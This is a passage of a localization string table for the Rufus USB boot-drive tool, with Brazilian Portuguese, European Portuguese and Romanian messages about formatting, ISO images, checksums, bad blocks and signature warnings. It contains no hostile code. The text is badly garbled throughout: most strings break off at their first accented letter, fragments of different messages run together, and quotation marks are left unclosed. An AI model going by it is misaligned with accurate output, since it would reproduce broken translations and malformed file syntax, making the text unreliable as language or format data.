t MSG_267 "Aplicando imagem do Windows: %0.1f%% completo"

t MSG_268 "Aplicando imagem do Windows"

t MSG_269 "Preservar marcas de tempo"

t MSG_270 "Debugar USB"

t MSG_271 "Calculando o checksum das imagens: %0.1f%% conclu

t MSG_272 "Calcular os checksums MD5, SHA1 e SHA256 da imagem selecionada"

t MSG_273 "Mudar o idioma do aplicativo"

t MSG_274 "Imagem ISOHybrid detectada"

t MSG_275 "A imagem que voc

"modo %s (c

pia de arquivo) ou modo %s (imagem de disco).\n"

"Rufus recomenda usar o modo %s , para que voc

pode tentar gravar novamente pelo modo %s.\n\n"

t MSG_276 "Gravar no modo %s (Recomendado)"

t MSG_277 "Gravar no modo %s"

t MSG_278 "Tipo de Boot"

t MSG_279 "N

t MSG_280 "Sele

t MSG_281 "(Por favor selecione uma imagem)"

t MSG_282 "Trava exclusiva do drive USB"

t MSG_283 "Assinatura digital inv

t MSG_284 "O execut

t MSG_285 "O execut

assinado por '%s'.\nEsta assinatura n

tem certeza que deseja executar este arquivo?"

l "pt-PT" "Portuguese Standard (Portugu

o Standard em Windows"

t IDC_WEBSITE "Clique aqui para aceder ao Site de Rufus"

t MSG_001 "Foi detetada outra aplica

"Para continuar, prima OK. Para sair da opera

" %d erros de leitura\n %d erros de escrita\n %d erros de corrompimento\n"

t MSG_018 "A tua vers

t MSG_039 "Iniciar"

t MSG_040 "Transferir"

t MSG_044 "Transfer

t MSG_048 "Rufus - A limpar buffers"

t MSG_049 "Rufus - Cancelar"

t MSG_053 "N

t MSG_057 "Nome do volume n

t MSG_058 "O identificador do dispositivo n

t MSG_065 "Erro de escrita"

t MSG_068 "Erro ao criar a parti

t MSG_069 "Erro ao copiar ficheiros para o dispositivo de destino."

t MSG_070 "Cancelado pelo utilizador."

t MSG_080 "Rufus detetou que o Windows ainda est

"especialmente para ficheiros grandes.\n\nRecomendamos que deixe o Windows terminar para evitar corrompimentos; "

t MSG_081 "Tipo de imagem n

o obsoleta do ficheiro '%s'.\n"

"o ficheiro\n '%s' j

t MSG_085 "A transferir %s"

t MSG_086 "Nenhuma imagem selecionada"

t MSG_088 "Imagem demasiado grande"

t MSG_089 "A imagem

t MSG_091 "Quando usa UEFI como tipo de destino, s

o suportadas imagens ISO inicializ

t MSG_092 "Sistema de ficheiros n

t MSG_093 "IMPORTANTE: ESTA DRIVE CONT

veis a partir do Windows. "

t MSG_094 "V

t MSG_096 "O sistema de ficheiros selecionado n

t MSG_097 "'%s' apenas pode ser aplicado se o sistema de ficheiros for NTFS."

t MSG_098 "IMPORTANTE: Est

a tentar instalar 'Windows To Go', mas a drive de destino n

"tem o atributos 'FIXO'. Por isso o Windows provalvelmente ir

t MSG_099 "Limita

t MSG_100 "Esta imagem ISO cont

m um ficheiro com mais de 4GB, ultrapassando o tamanho m

t MSG_101 "O suporte para ficheiro WIM n

t MSG_102 "N

t MSG_103 "Transferir %s?"

t MSG_104 "%s ou posterior requer que esteja instalado o ficheiro '%s' .\n"

t MSG_107 "Todos os ficheiros"

t MSG_114 "Esta imagem usa Syslinux %s%s mas a aplica

"Syslinux %s%s.\n\nComo as diferentes vers

"Internet ('ldlinux.sys' e 'ldlinux.bss'):\n"

t MSG_115 "Transfer

t MSG_116 "Esta imagem usa Grub %s mas a aplica

"Grub %s.\n\nAs diferentes vers

o ('core.img') que coincida com o da imagem:\n"

"- Selecione 'Cancelar' para abortat a opera

"um sistema operativo no modo EFI, deve selecionar uma das outras op

o se quiser instalar um sistema operativo no modo EFI, mas necessita de aceder "

do do USB com o Windows XP"

t MSG_153 "Padr

o de teste: 0xX"

t MSG_154 "Padr

o de teste: 0xX, 0xX"

t MSG_155 "Padr

o de teste: 0xX, 0xX, 0xX"

t MSG_156 "Padr

o de teste: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Selecionar o sistema de ficheiros destino"

t MSG_160 "Mostrar op

t MSG_165 "Selecionar uma imagem ..."

cone para a unidade (cria um ficheiro autorun.inf)"

t MSG_167 "Instalar um MBR que permita selecionar o dispositivo de arranque e pode mascarar "

t MSG_168 "Tentar mascarar o primeiro dispositivo USB de arranque (normalmente 0x80) como um disco diferente.\n"

rio se instalar Windows XP e tenha mais do que um disco duro"

t MSG_170 "Ativa a dete

gidos port

t MSG_171 "Iniciar a opera

t MSG_176 "Tradu

o para Portugu

t MSG_177 "Para reportar bugs ou sugerir melhorias, visite:"

t MSG_178 "Direitos de autor adicionais:"

t MSG_180 "Autoriza que este programa procure e instale automaticamente as"

o do seu sistema operativo"

t MSG_183 "O seu endere

t MSG_190 "Detetada unidade incompat

t MSG_191 "Escrita"

t MSG_192 "Leitura""

t MSG_193 "Transferido %s"

vel transferir %s"

t MSG_195 "A usar a vers

o incorporada do(s) ficheiro(s) %s"

t MSG_196 "IMPORTANTE: ESTA DRIVE USA UM TAMANHO DE SECTOR N

"As drives convencionais usam o tamanho de sector de 512-byte mas a drive usa %d-byte. "

t MSG_197 "Detetado tamanho de sector n

t MSG_198 "'Windows To Go' apenas pode ser instalado numa drive com parti

t MSG_199 "Escolha esta op

o se pretender instalar o Windows, para outro disco, utilizando o dispositivo selecionado como disco de instala

t MSG_200 "Escolha esta op

o se deseja executar o Windows directamente a partir do dispositivo selecionado."

t MSG_201 "A cancelar - por favor aguarde..."

t MSG_202 "A analisar a imagem ..."

t MSG_203 "Falha ao analisar a imagem"

t MSG_204 "Foi detectado um ficheiro %s obsoleto"

t MSG_205 "A usar a imagem: %s"

t MSG_206 "Falta o ficheiro %s"

t MSG_207 "Novo volume"

t MSG_213 "A iniciar a nova aplica

t MSG_214 "Erro ao iniciar a nova aplica

t MSG_217 "A formatar: %0.1f%% completo"

t MSG_218 "A criar sistema de ficheiros: Tarefa %d/%d completa"

t MSG_220 "A formatar (%s) - dura

t MSG_221 "A atribuir a etiqueta do volume (pode demorar)..."

t MSG_222 "A formatar (%s)..."

t MSG_224 "A limpar as estruturas MBR/PBR/GPT..."

t MSG_225 "A solicitar acesso ao disco..."

t MSG_226 "A analisar registos de arranque existentes..."

t MSG_227 "A fechar o volume existente..."

t MSG_228 "A escrever o registo mestre de arranque (Master Boot Record)..."

t MSG_229 "A escrever o registo de arranque da parti

t MSG_230 "A copiar ficheiros DOS..."

t MSG_231 "A copiar ficheiros ISO..."

t MSG_233 "A finalizar, por favor aguarde..."

t MSG_234 "A instalar Syslinux %s..."

t MSG_235 "Blocos com erros: %s %d/%d - %0.2f%% (%d/%d/%d erros)"

t MSG_236 "Blocos com erro: A verificar com padr

t MSG_237 "Blocos com erro: A verificar com padr

t MSG_238 "A criar parti

t MSG_239 "A apagar parti

t MSG_240 "Transferir %s: A ligar..."

t MSG_241 "Transfer

t MSG_242 "Erro ao transferir o ficheiro."

t MSG_243 "Procurar atualiza

t MSG_248 "Foram eliminadas as chaves de registo da aplica

t MSG_249 "Falha ao apagar as chaves de registo da aplica

t MSG_253 "Dete

t MSG_261 "A criar imagem: %0.1f%% completo"

t MSG_262 "Suporte ISO"

t MSG_263 "Use unidade de tamanho APROPRIADA"

t MSG_264 "A eliminar pasta '%s'"

t MSG_265 "A detetar disco VMWare"

t MSG_266 "Dual modo UEFI/BIOS"

t MSG_267 "A aplicar imagem Windows: %0.1f%% completo"

t MSG_268 "Aplicar imagem Windows..."

t MSG_269 "Manter data dos ficheiros"

t MSG_270 "Depura

t MSG_271 "C

t MSG_272 "Calcular MD5, SHA1 e SHA256 para a imagem selecionada"

t MSG_273 "Alterar o idioma da aplica

t MSG_274 "Imagem ISOHybrid detetada"

t MSG_275 "A imagem selecionada

"%s (c

pia de ficheiros) ou no modo %s (c

"Rufus recomenda o modo %s, para que tenha sempre acesso total ao disco ap

"No entanto, se existirem erros durante o arranque, pode tentar escrever no modo %s.\n\n"

t MSG_276 "Escrever no modo %s (Recomendado)"

t MSG_277 "Escrever no modo %s

t MSG_278 "Tipo de arranque"

t MSG_281 "(Selecione a imagem)"

t MSG_282 "Bloqueio exclusivo do dispositivo USB"

t MSG_283 "Assinatura inv

t MSG_284 "No execut

assinado por '%s'.\nN

indicar algum tipo de actividade mal intencionada...\nTem certeza de que deseja executar este ficheiro?"

t IDC_WINDOWS_INSTALL "Instalare standard pentru Windows"

t IDC_WINDOWS_TO_GO "Windows To Go (Pornire Windows)"

t IDC_WEBSITE " Click aici pentru a vizita site-ul web"

t MSG_001 "Un alt exemplu detectat Rufus"

t MSG_002 "Ruleaz

t MSG_003 "AVERTISMENT: TOATE DATELE DE PE DISPOZITIVUL '%s' VOR FI

opera

t MSG_004 "Politica de actualizare Rufus"

t MSG_005 "Permite

t MSG_007 "Anuleaz

t MSG_009 "Nu"

t MSG_010 "Bloc defect Detectat"

t MSG_011 "Verificare complet

sit %d blocuri defecte\n"

" %d erori de citire\n %d erori de scriere\n %d erori de corupere\n"

t MSG_012 "%s\n Un raport mai detaliat este disponibil

n:\n%s"

t MSG_013 "Dezactivat"

t MSG_014 "Zilnic"

t MSG_015 "S

t MSG_016 "Lunar"

t MSG_017 "Personalizat"

t MSG_018 "Versiunea instalat

t MSG_019 "Ultima versiune: %d.%d (Build %d)"

t MSG_020 "octe

t MSG_021 "KO"

t MSG_022 "MO"

t MSG_023 "GO"

t MSG_024 "TO"

t MSG_025 "PO"

t MSG_026 "octe

t MSG_027 "kilo-octe

t MSG_028 "megaocte

t MSG_031 "Schema de parti

ie %s cu BIOS sau %s"

t MSG_032 "Schema de parti

ie %s cu BIOS"

t MSG_033 "Schema de parti

ie %s cu UEFI"

t MSG_034 "%d pas"

t MSG_035 "%d pa

t MSG_036 "Imagine ISO"

t MSG_037 "Cerere"

t MSG_038 "Anuleaz

t MSG_039 "Execut

t MSG_040 "Desc

t MSG_042 "Eroare"

t MSG_043 "Eroare: %s"

t MSG_044 "Desc

t MSG_045 "Unitate de stocare USB (generic)"

t MSG_046 "%s (disc %d) [%s]"

t MSG_047 "Volume multiple"

t MSG_049 "Rufus - Anulare"

t MSG_050 "Finisat."

t MSG_051 "A ap

t MSG_052 "Imposibilitatea de a utiliza sistemul de fi

t MSG_053 "Acces respins unitate."

t MSG_054 "Dispozitivul este ap

t MSG_055 "Dispozitivul este folosit

t MSG_056 "Formatarea rapid

t MSG_057 "Eticheta de volum nu este valabil

t MSG_058 "Dispozitivul este invalid."

t MSG_059 "Dimensiunea selectat

t MSG_060 "Dimensiune de volum invalid

t MSG_061 "Introduce

t MSG_062 "Comanda primit

nu este suportat

t MSG_063 "Eroare de alocare memorie."

t MSG_064 "Eroare de citire."

t MSG_065 "Eroare de scriere."

t MSG_066 "Instalarea nu a reu

t MSG_067 "Imposibilitatea de a deschide dispozitivul. Posibil e utilizat de un alt proces."

t MSG_068 "Eroare

t MSG_069 "Imposibil de a copia fi

t MSG_070 "Anulat de c

t MSG_071 "Imposibil de formatat."

t MSG_072 "Blocurile de control incorect completate."

t MSG_073 "Analiza imaginii ISO a e

t MSG_074 "Extragerea imaginii ISO a e

t MSG_075 "Imposibilitatea de a monta dispozitivul."

t MSG_076 "Imposibil de a seta fi

t MSG_077 "Nu se poate atribui o liter

t MSG_078 "Imposibilitatea de a monta un volum GUID."

t MSG_079 "Dispozitivul nu este gata."

t MSG_080 "Rufus a detectat c

Windows-ul nu a terminat de scris datele din buffer pe dispozitivul USB.\n\n"

i Windows-ul s

t MSG_081 "Imaginea nu este acceptat

t MSG_082 "Aceast

de boot sau de compresie nesuportat

nlocuire %s?"

t MSG_084 "Acest lucru arat

a '%s'.\n"

rcat '%s', va fi reutilizat automat."

t MSG_085 "Desc

rcare %s"

t MSG_086 "Nici o imagine selectat

t MSG_087 "Face

t MSG_088 "Imagine prea mare"

t MSG_089 "Aceast

t MSG_090 "Formatul ISO nu este acceptat"

t MSG_091 "C

t MSG_092 "Sistem de fi

t MSG_093 "IMPORTANT: Aceast

"Aceasta poate include paravane/volume care nu sunt listate sau chiar vizibile de la Windows. "

t MSG_094 "Mai multe parti

t MSG_095 "Imagine DD"

t MSG_096 "Sistemul de fi

t MSG_097 "'%s' poate fi aplicat

t MSG_098 "IMPORTANT:

i 'Windows To Go', dar unitatea aleas

"Din aceasta cauza Windows-ul cel mai probabil nu va func

t MSG_099 "Limitarea sistemului de fi

t MSG_100 "Aceast

t MSG_101 "Suport WIN lips

t MSG_102 "Sistemul de operare nu poate extrage fi

"este necesar pentru a crea un dispozitiv USB boot-abil UEFI Windows 7

i Windows Vista. Pute

t MSG_103 "Desc

rcare %s?"

t MSG_104 "%s sau mai mare, necesit

ier'%s'.\n"

n imaginea ISO %s, "

"'%s' a fost desc

t MSG_105 "Eliminarea ar l

t MSG_106 "Selecta

t MSG_107 "Toate fi

t MSG_108 "Registrul

t MSG_109 "0xX (discul %d)"

t MSG_110 "MS-DOS nu poate fi pornit de pe o unitate care are dimensiunea clusterului de 64 de kiloocte

t MSG_111 "Dimensiune cluster incompatibil

t MSG_112 "Formatarea volumului mare UDF, poate dura ceva timp. Viteza format

"durata este %d:d,

t MSG_113 "Volumul UDF mare"

t MSG_114 "Aceast

te Syslinux %s%s, dar aceast

"Syslinux %s%s.\n\nNoile versiuni ale syslinux, nu sunt compatibile cu altele,

"Internet ('ldlinux.sys'

i 'ldlinux.bss'):\n"

i 'Nu' pentru a anula opera

t MSG_115 "Desc

t MSG_116 "Aceast

te Grub %s dar cererea include doar fi

"Grub %s.\n\n Versiuni diferite ale Grub pot s

ierul de instalare ('core.img'), care se potrive

i 'Anulare' pentru a abandona opera

t MSG_150 "Aceast

"un sistem de operare pentru EFI, pute

t MSG_151 "Utiliza

i un sistem de operare pentru EFI, dar ave

n Windows XP"